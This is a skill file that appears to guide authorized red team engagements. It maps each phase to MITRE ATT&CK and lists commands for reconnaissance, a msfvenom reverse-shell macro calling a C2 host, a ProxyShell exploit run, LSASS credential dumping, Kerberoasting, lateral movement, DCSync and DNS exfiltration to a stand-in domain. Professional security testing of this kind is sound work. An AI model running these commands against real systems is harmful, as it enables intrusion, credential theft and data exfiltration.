skills/mukul975/anthropic-cybersecurity-skills/conducting-full-scope-red-team-engagement

conducting-full-scope-red-team-engagement

SKILL.md

Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

Prerequisites

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain Phase MITRE ATT&CK Tactic Example Techniques
Reconnaissance TA0043 T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource Development TA0042 T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial Access TA0001 T1566.001 Spearphishing Attachment, T1078 Valid Accounts
Execution TA0002 T1059.001 PowerShell, T1204.002 User Execution: Malicious File
Persistence TA0003 T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege Escalation TA0004 T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense Evasion TA0005 T1055 Process Injection, T1027 Obfuscated Files
Credential Access TA0006 T1003.001 LSASS Memory, T1558.003 Kerberoasting
Discovery TA0007 T1087 Account Discovery, T1018 Remote System Discovery
Lateral Movement TA0008 T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
Collection TA0009 T1560 Archive Collected Data, T1213 Data from Information Repositories
Exfiltration TA0010 T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
Impact TA0040 T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

  1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
  2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
  3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
  4. Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

  1. Executive Summary: Business impact, risk rating, key findings
  2. Attack Narrative: Timeline of activities with screenshots and evidence
  3. MITRE ATT&CK Mapping: Full heat map of techniques used
  4. Findings: Each finding with CVSS score, evidence, remediation
  5. Detection Gap Analysis: What the SOC detected vs. what was missed
  6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

Metric Description
Mean Time to Detect (MTTD) Average time from action to SOC detection
Mean Time to Respond (MTTR) Average time from detection to containment
TTP Coverage Percentage of executed techniques detected
Objective Achievement Rate Percentage of defined objectives completed
Dwell Time Total time red team maintained access undetected

Tools and Frameworks

  • C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
  • Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
  • Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
  • Reporting: PlexTrac, Ghostwriter, Serpico

References

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